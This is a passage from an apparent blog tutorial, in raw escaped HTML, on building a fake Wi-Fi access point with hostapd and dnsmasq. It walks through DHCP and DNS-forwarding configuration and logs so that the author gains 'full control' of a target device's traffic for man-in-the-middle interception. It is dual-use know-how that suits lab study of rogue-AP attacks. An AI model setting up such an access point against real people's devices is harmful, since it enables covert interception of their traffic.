apmitm:&lt;span class="w"&gt; &lt;/span&gt;STA&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc&lt;span class="w"&gt; &lt;/span&gt;IEEE&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;802&lt;/span&gt;.11:&lt;span class="w"&gt; &lt;/span&gt;associated&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;aid&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
apmitm:&lt;span class="w"&gt; &lt;/span&gt;AP-STA-CONNECTED&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc
apmitm:&lt;span class="w"&gt; &lt;/span&gt;STA&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc&lt;span class="w"&gt; &lt;/span&gt;RADIUS:&lt;span class="w"&gt; &lt;/span&gt;starting&lt;span class="w"&gt; &lt;/span&gt;accounting&lt;span class="w"&gt; &lt;/span&gt;session&lt;span class="w"&gt; &lt;/span&gt;BB24CA4FFFFFFFFF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Target connects to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt; but the connection will not hold. So far our setup does not assign any IP address to the target and most of the network managers that may be running in the target will eventually give up and disconnect the device.
&lt;br /&gt;&lt;br /&gt;
You will see something like:
&lt;br /&gt;&lt;br /&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;AP-STA-DISCONNECTED&lt;span class="w"&gt; &lt;/span&gt;cc:cc...&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram3.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h1 id="configure-a-dhcp-and-assign-ip-addresses"&gt;Configure a DHCP and assign IP addresses&lt;/h1&gt;
&lt;p&gt;Despite the name, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; can work as DHCP server too. IMO it is a little tricky to setup because &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; will try to bind and server on &lt;em&gt;localhost&lt;/em&gt; if it is not explicitly disabled.&lt;/p&gt;
&lt;p&gt;Here is the configuration file:&lt;/p&gt;
&lt;p&gt;&lt;label for='Ck5vdGUgaG93IGV4cGxpY2l0IHdlIGFyZTogd2Ugc2F5IHRoZSBpbnRlcmZhY2UgbmFtZSwKdGhlIElQIGFkZHJlc3Mgd2hlcmUgd2Ugd2FudCB0byBsaXN0ZW4sIHdlIGV4cGxpY2l0bHkKc2F5IG5vICpsb2NhbGhvc3QqIGFuZCB3ZSBpbnN0cnVjdCB0byBgZG5zbWFzcWAgdG8KKmJpbmQqIG9uICoqdGhlKiogaW50ZXJmYWNlIHRoYXQgd2Ugc2FpZCAoYGFwbWl0bWApLgoKYGRoY3AtcmFuZ2VgIGRlZmluZXMgdGhlIElQIHNldCB0byBvZmZlcjogdGhlIHN5bnRheAppcyBgc3RhcnQtYWRkcmVzcyxlbmQtYWRkcmVzcyxuZXR3b3JrLW1hc2ssdGltZS10by1sZWF2ZWAuCgpgcG9ydD0wYCBkaXNhYmxlcyBETlMuIFdlIHdpbGwgZW5hYmxlIGl0IGluIHNob3J0LgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ck5vdGUgaG93IGV4cGxpY2l0IHdlIGFyZTogd2Ugc2F5IHRoZSBpbnRlcmZhY2UgbmFtZSwKdGhlIElQIGFkZHJlc3Mgd2hlcmUgd2Ugd2FudCB0byBsaXN0ZW4sIHdlIGV4cGxpY2l0bHkKc2F5IG5vICpsb2NhbGhvc3QqIGFuZCB3ZSBpbnN0cnVjdCB0byBgZG5zbWFzcWAgdG8KKmJpbmQqIG9uICoqdGhlKiogaW50ZXJmYWNlIHRoYXQgd2Ugc2FpZCAoYGFwbWl0bWApLgoKYGRoY3AtcmFuZ2VgIGRlZmluZXMgdGhlIElQIHNldCB0byBvZmZlcjogdGhlIHN5bnRheAppcyBgc3RhcnQtYWRkcmVzcyxlbmQtYWRkcmVzcyxuZXR3b3JrLW1hc2ssdGltZS10by1sZWF2ZWAuCgpgcG9ydD0wYCBkaXNhYmxlcyBETlMuIFdlIHdpbGwgZW5hYmxlIGl0IGluIHNob3J0LgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Note how explicit we are: we say the interface name, the IP address where we want to listen, we explicitly say no &lt;em&gt;localhost&lt;/em&gt; and we instruct to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; to &lt;em&gt;bind&lt;/em&gt; on &lt;strong&gt;the&lt;/strong&gt; interface that we said (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt;).
&lt;br /&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dhcp-range&lt;/span&gt;&lt;/code&gt; defines the IP set to offer: the syntax is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;start-address,end-address,network-mask,time-to-leave&lt;/span&gt;&lt;/code&gt;.
&lt;br /&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; disables DNS. We will enable it in short.
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;dnsmasq-v1.conf
&lt;span class="nv"&gt;interface&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;apmitm
listen-address&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1
except-interface&lt;span class="o"&gt;=&lt;/span&gt;lo
bind-interfaces

log-dhcp
no-daemon

dhcp-range&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.15,10.23.0.88,255.255.255.0,12h

&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We assign an IP address to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;apmitm&lt;/span&gt;&lt;/code&gt; and we run &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ip&lt;span class="w"&gt; &lt;/span&gt;addr&lt;span class="w"&gt; &lt;/span&gt;add&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1/24&lt;span class="w"&gt; &lt;/span&gt;dev&lt;span class="w"&gt; &lt;/span&gt;apmitm
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;dnsmasq&lt;span class="w"&gt; &lt;/span&gt;-C&lt;span class="w"&gt; &lt;/span&gt;dnsmasq-v1.conf

dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;started,&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.80&lt;span class="w"&gt; &lt;/span&gt;DNS&lt;span class="w"&gt; &lt;/span&gt;disabled
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;compile&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;options:&lt;span class="w"&gt; &lt;/span&gt;IPv6&lt;span class="w"&gt; &lt;/span&gt;GNU-getopt&lt;span class="w"&gt; &lt;/span&gt;DBus&lt;span class="w"&gt; &lt;/span&gt;i18n&lt;span class="w"&gt; &lt;/span&gt;IDN&lt;span class="w"&gt; &lt;/span&gt;DHCP&lt;span class="w"&gt; &lt;/span&gt;DHCPv6
no-Lua&lt;span class="w"&gt; &lt;/span&gt;TFTP&lt;span class="w"&gt; &lt;/span&gt;conntrack&lt;span class="w"&gt; &lt;/span&gt;ipset&lt;span class="w"&gt; &lt;/span&gt;auth&lt;span class="w"&gt; &lt;/span&gt;nettlehash&lt;span class="w"&gt; &lt;/span&gt;DNSSEC&lt;span class="w"&gt; &lt;/span&gt;loop-detect&lt;span class="w"&gt; &lt;/span&gt;inotify&lt;span class="w"&gt; &lt;/span&gt;dumpfile

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCP,&lt;span class="w"&gt; &lt;/span&gt;IP&lt;span class="w"&gt; &lt;/span&gt;range&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.15&lt;span class="w"&gt; &lt;/span&gt;--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.88,&lt;span class="w"&gt; &lt;/span&gt;lease&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;12h
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCP,&lt;span class="w"&gt; &lt;/span&gt;sockets&lt;span class="w"&gt; &lt;/span&gt;bound&lt;span class="w"&gt; &lt;/span&gt;exclusively&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;interface&lt;span class="w"&gt; &lt;/span&gt;apmitm

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;available&lt;span class="w"&gt; &lt;/span&gt;DHCP&lt;span class="w"&gt; &lt;/span&gt;range:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.15&lt;span class="w"&gt; &lt;/span&gt;--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.88
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCPDISCOVER&lt;span class="o"&gt;(&lt;/span&gt;apmitm&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;tags:&lt;span class="w"&gt; &lt;/span&gt;apmitm

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCPOFFER&lt;span class="o"&gt;(&lt;/span&gt;apmitm&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;requested&lt;span class="w"&gt; &lt;/span&gt;options:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;:netmask,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt;:static-route,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;:router,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;:dns-server,
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;requested&lt;span class="w"&gt; &lt;/span&gt;options:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;15&lt;/span&gt;:domain-name,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;:broadcast,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;51&lt;/span&gt;:lease-time,
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;requested&lt;span class="w"&gt; &lt;/span&gt;options:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;58&lt;/span&gt;:T1,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;59&lt;/span&gt;:T2

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;next&lt;span class="w"&gt; &lt;/span&gt;server:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;53&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;message-type&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;54&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;server-identifier&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;51&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lease-time&lt;span class="w"&gt;  &lt;/span&gt;12h

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;netmask&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;.255.255.0
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;broadcast&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.255
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;option:&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;router&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.1
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;available&lt;span class="w"&gt; &lt;/span&gt;DHCP&lt;span class="w"&gt; &lt;/span&gt;range:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.15&lt;span class="w"&gt; &lt;/span&gt;--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.88

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCPREQUEST&lt;span class="o"&gt;(&lt;/span&gt;apmitm&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc
dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;tags:&lt;span class="w"&gt; &lt;/span&gt;apmitm

dnsmasq-dhcp:&lt;span class="w"&gt; &lt;/span&gt;DHCPACK&lt;span class="o"&gt;(&lt;/span&gt;apmitm&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35&lt;span class="w"&gt; &lt;/span&gt;cc:cc:cc:cc:cc:cc
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The target requests (among other things) an IP address for itself and the IP of the DNS server.
&lt;br /&gt;&lt;br /&gt;
By the moment our &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; only offers an IP address for the target.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram4.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Now the target &lt;strong&gt;has&lt;/strong&gt; an IP but &lt;strong&gt;no internet&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The target issues some DNS queries but none are responded. In deed neither the man in the middle is forwarding those queries nor the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; is acting as a DNS server to respond them.
&lt;br /&gt;&lt;br /&gt;
The target is connected but it will not have internet.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagramA1.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h1 id="configure-a-dns-server"&gt;Configure a DNS server&lt;/h1&gt;
&lt;p&gt;We can instruct &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; to work as a DNS forwarder just adding a valid port to its configuration. When the target requests an IP from the DHCP, it will also receive the DNS server IP.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;dnsmasq-v2.conf
&amp;lt;...&amp;gt;
&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;53&lt;/span&gt;
log-queries&lt;span class="o"&gt;=&lt;/span&gt;extra
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram5.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Let’s take a look at the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; logs. The DNS forwarding works but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; seems to be forwarding the queries to locahost or kind-of, it is forwarding to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.53&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lt;...&amp;gt;
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/58954&lt;span class="w"&gt; &lt;/span&gt;query&lt;span class="o"&gt;[&lt;/span&gt;A&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/58954&lt;span class="w"&gt; &lt;/span&gt;forwarded&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.53
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/58954&lt;span class="w"&gt; &lt;/span&gt;reply&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;162&lt;/span&gt;.159.200.123
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/network/fake-ap-dnsmasq-hostapd-mitm/diagram7.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the logs it is clear why &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; is doing this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;reading&lt;span class="w"&gt; &lt;/span&gt;/etc/resolv.conf
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;using&lt;span class="w"&gt; &lt;/span&gt;nameserver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.53#53
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/hosts&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;addresses
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The default is to read &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/resolv.conf&lt;/span&gt;&lt;/code&gt; and get the local machine’s upstream nameserver. In my case I’m running a local DNS server in that address. Moreover &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; will server the entries from the local &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/hosts&lt;/span&gt;&lt;/code&gt; too.&lt;/p&gt;
&lt;p&gt;From &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; perspective this is correct: it was designed to work as a &lt;em&gt;local&lt;/em&gt; DNS forwarder for &lt;em&gt;local&lt;/em&gt; queries and these defaults make it simple to install.&lt;/p&gt;
&lt;p&gt;But we don’t want that; we want to have full control of the DNS. Luckly it is just a matter of a few extra options:&lt;/p&gt;
&lt;p&gt;&lt;label for='CldpdGggYHNlcnZlcmAgd2Ugc2F5IHRoZSB1cHN0cmVhbSBzZXJ2ZXIgYW5kIHdpdGggYG5vLXJlc29sdmAgd2UgZW5zdXJlCnRoYXQgYGRuc21hc3FgIHdpbGwgbm90IHBpY2sgYW55IG90aGVyLgoKYG5vLWhvc3RzYCAoYXMgeW91IG1heSBndWVzcykgZGlzYWJsZXMgcmVhZGluZyBgL2V0Yy9ob3N0c2AuIFRoZQpgZG9tYWluLW5lZWRlZGAgbWFrZXMgYGRuc21hc3FgIHRvIHJlc29sdmUgZnVsbCBkb21haW5zOiBxdWVyaWVzCmZvciBsb2NhbCBkb21haW5zIGFyZSBub3QgcmVzb2x2ZWQgKHRoaW5rIGluIGEgbG9jYWwgbmFtZSBgZm9vYAppbnN0ZWFkIG9mIGEgZnVsbCBkb21haW4gYGZvby5leGFtcGxlLmNvbWApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldpdGggYHNlcnZlcmAgd2Ugc2F5IHRoZSB1cHN0cmVhbSBzZXJ2ZXIgYW5kIHdpdGggYG5vLXJlc29sdmAgd2UgZW5zdXJlCnRoYXQgYGRuc21hc3FgIHdpbGwgbm90IHBpY2sgYW55IG90aGVyLgoKYG5vLWhvc3RzYCAoYXMgeW91IG1heSBndWVzcykgZGlzYWJsZXMgcmVhZGluZyBgL2V0Yy9ob3N0c2AuIFRoZQpgZG9tYWluLW5lZWRlZGAgbWFrZXMgYGRuc21hc3FgIHRvIHJlc29sdmUgZnVsbCBkb21haW5zOiBxdWVyaWVzCmZvciBsb2NhbCBkb21haW5zIGFyZSBub3QgcmVzb2x2ZWQgKHRoaW5rIGluIGEgbG9jYWwgbmFtZSBgZm9vYAppbnN0ZWFkIG9mIGEgZnVsbCBkb21haW4gYGZvby5leGFtcGxlLmNvbWApLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
With &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;server&lt;/span&gt;&lt;/code&gt; we say the upstream server and with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;no-resolv&lt;/span&gt;&lt;/code&gt; we ensure that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; will not pick any other.
&lt;br /&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;no-hosts&lt;/span&gt;&lt;/code&gt; (as you may guess) disables reading &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/hosts&lt;/span&gt;&lt;/code&gt;. The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;domain-needed&lt;/span&gt;&lt;/code&gt; makes &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;dnsmasq&lt;/span&gt;&lt;/code&gt; to resolve full domains: queries for local domains are not resolved (think in a local name &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;foo&lt;/span&gt;&lt;/code&gt; instead of a full domain &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;foo.example.com&lt;/span&gt;&lt;/code&gt;).
&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;dnsmasq-v3.conf
&lt;span class="nv"&gt;server&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.4.4

domain-needed
no-hosts
no-resolv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now the output looks correct:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/20969&lt;span class="w"&gt; &lt;/span&gt;query&lt;span class="o"&gt;[&lt;/span&gt;A&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35
dnsmasq:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.23.0.35/20969&lt;span class="w"&gt; &lt;/span&gt;forwarded&lt;span class="w"&gt; &lt;/span&gt;pool.ntp.org&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.8.4.4
